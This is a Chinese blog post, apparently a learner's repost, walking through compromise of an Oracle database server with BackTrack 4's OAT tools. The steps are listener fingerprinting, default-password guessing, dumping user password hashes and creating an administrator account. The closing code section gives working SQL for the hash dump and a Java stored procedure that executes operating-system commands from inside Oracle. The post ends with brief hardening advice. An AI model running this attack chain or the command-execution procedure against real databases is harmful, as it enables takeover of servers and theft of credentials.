BackTrack 4 OAT软件包检测ORACLE服务器安全性!

简介:

这次的内容是用 BackTrack 4 检测ORACLE服务器的安全性。
 

BackTrack 4 整合了很多hack软件,作为测试的一个平台系统,使用BackTrack做各种测试是很方便的。
 

BT4里内嵌了一套针对ORACLE数据库的检测工具集:OAT(Oracle Auditing Tools)

软件地址:http://www.cqure.net/wp/test/

 

当然开始前还需要安装 JAVA 和 ORACLE JDBC下载地址:
Java Runtime Environment
http://www.javasoft.com or your favorite google query

Oracle JDBC Driver (classes111.zip or classes12.zip)
http://www.oracle.com or your favorite google query

准备工作一切就绪,我们开始进行检测~~

一 我们先使用 otnsctl 来看看ORACLE服务器是使用什么操作系统、数据库版本、SID名称及详细的Services服务信息
指令格式:./otnsctl.sh -s ip -I windows
成功连接后会出现tnscmd>提示符,有4项功能:1设置连接监听器的密码 2 查看服务信息 3 SID信息 4 查看数据库版本

现在我们获知这台oracle服务器操作系统是32位WINDOWS,数据库版本是9.2.0.1.0,SID是:STARLIMS。

二 接着使用 opwg.sh 检测用户和口令,看是否存在疏忽遗漏的默认口令。
命令格式:./opwg.sh -s ip

检测出了SID和一个默认用户口令。

三 有了用户口令、SID。就可以用 oquery.sh 执行SQL语句查询。
命令格式:./oquery.sh -s ip -u name -p password -d SID

知道当前用户口令还是DBA权限,GOOD~

四 再要进行深入,用ORACLE客户端连接就简单很多。
命令格式:sqlplus name/password@//ip:1521/SID

用SQL脚本直接执行指令(比起手写输入要省事),查询用户HASH。

最后就是尝试创建管理员用户。

使用rdesktop连接远程桌面。

检测目的达到,由于数据库没有把dbsnmp这个默认用户设置为locked,在基本信息泄露后,通过该用户连接到数据库,导致服务器失陷,如服务器后面还有域的话,
或会被渗透,那对于整个内网来说将会是灾难。

检测结束删除刚才创建的用户,恢复原来状态。

建议不需要listener的就关闭监听。把不使用的默认用户设置LOCKED状态。用户权限要设置清晰,多余权限一律不予分配。
就写到这。由于本人刚开始学习,文中难免有错漏,希望各位见谅,吾还在不断努力学习中。。。 ^-^

PS:贴出文中提到的SQL代码

see.sql

====================================================

select a.username, a.password
from sys.dba_users a left outer join sys.dba_users b on
b.username = a.username
;

====================================================

java.sql

====================================================

 

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer

, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x:=run_cmz('net1 user');

 


本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/638582,如需转载请自行联系原作者


相关文章
|
17天前
|
存储 Oracle 关系型数据库
服务器数据恢复—华为S5300存储Oracle数据库恢复案例
服务器存储数据恢复环境: 华为S5300存储中有12块FC硬盘,其中11块硬盘作为数据盘组建了一组RAID5阵列,剩下的1块硬盘作为热备盘使用。基于RAID的LUN分配给linux操作系统使用,存放的数据主要是Oracle数据库。 服务器存储故障: RAID5阵列中1块硬盘出现故障离线,热备盘自动激活开始同步数据,在同步数据的过程中又一块硬盘离线,RAID5阵列瘫痪,上层LUN无法使用。
|
1月前
|
存储 Oracle 关系型数据库
oracle服务器存储过程中调用http
通过配置权限、创建和调用存储过程,您可以在Oracle数据库中使用UTL_HTTP包发起HTTP请求。这使得Oracle存储过程可以与外部HTTP服务进行交互,从而实现更复杂的数据处理和集成。在实际应用中,根据具体需求调整请求类型和错误处理逻辑,以确保系统的稳定性和可靠性。
63 0
|
3月前
|
存储 Oracle 关系型数据库
Oracle同一台服务器创建多个数据库
【8月更文挑战第30天】在 Oracle 中,可在同一服务器上创建多个数据库。首先确保已安装 Oracle 软件并具有足够资源,然后使用 DBCA 工具按步骤创建,包括选择模板、配置存储及字符集等。重复此过程可创建多个数据库,需确保名称、SID 和存储位置唯一。创建后,可通过 Oracle Enterprise Manager 进行管理,注意服务器资源分配与规划。
173 10
|
3月前
|
存储 安全 算法
服务器数据恢复—Raid磁盘阵列的安全性分析及常见故障
出于尽可能避免数据灾难的设计初衷,RAID解决了3个问题:容量问题、IO性能问题、存储安全(冗余)问题。从数据恢复的角度讨论RAID的存储安全问题。 常见的起到存储安全作用的RAID方案有RAID1、RAID5及其变形。基本设计思路是相似的:当部分数据异常时,可通过特定算法将数据还原出来。以RAID5为例:如果要记录两个数字,可以通过再多记录这两个数字的和来达到记录冗余性的目的。例如记录3和5,同时再记录这2个数字的和8。在不记得到底是几和5的情况下,只需要用8-5就可以算出这个丢失的数字了,其余情况依此类推。
|
5月前
|
安全 Oracle 关系型数据库
关系型数据库Oracle安全性
【7月更文挑战第17天】
103 5
|
4月前
|
存储 监控 Unix
|
6月前
|
消息中间件 Serverless 网络性能优化
消息队列 MQ产品使用合集之客户端和服务器之间的保活心跳检测间隔是怎么设置的
消息队列(MQ)是一种用于异步通信和解耦的应用程序间消息传递的服务,广泛应用于分布式系统中。针对不同的MQ产品,如阿里云的RocketMQ、RabbitMQ等,它们在实现上述场景时可能会有不同的特性和优势,比如RocketMQ强调高吞吐量、低延迟和高可用性,适合大规模分布式系统;而RabbitMQ则以其灵活的路由规则和丰富的协议支持受到青睐。下面是一些常见的消息队列MQ产品的使用场景合集,这些场景涵盖了多种行业和业务需求。
|
6月前
|
域名解析 监控 安全
根域名服务器的安全性
根域名服务器的安全性
|
7月前
|
Oracle Java 关系型数据库
【服务器】python通过JDBC连接到位于Linux远程服务器上的Oracle数据库
【服务器】python通过JDBC连接到位于Linux远程服务器上的Oracle数据库
100 6
|
4天前
|
弹性计算 运维 安全
阿里云轻量应用服务器与ECS的区别及选择指南
轻量应用服务器和云服务器ECS(Elastic Compute Service)是两款颇受欢迎的产品。本文将对这两者进行详细的对比,帮助用户更好地理解它们之间的区别,并根据自身需求做出明智的选择。

推荐镜像

更多
下一篇
DataWorks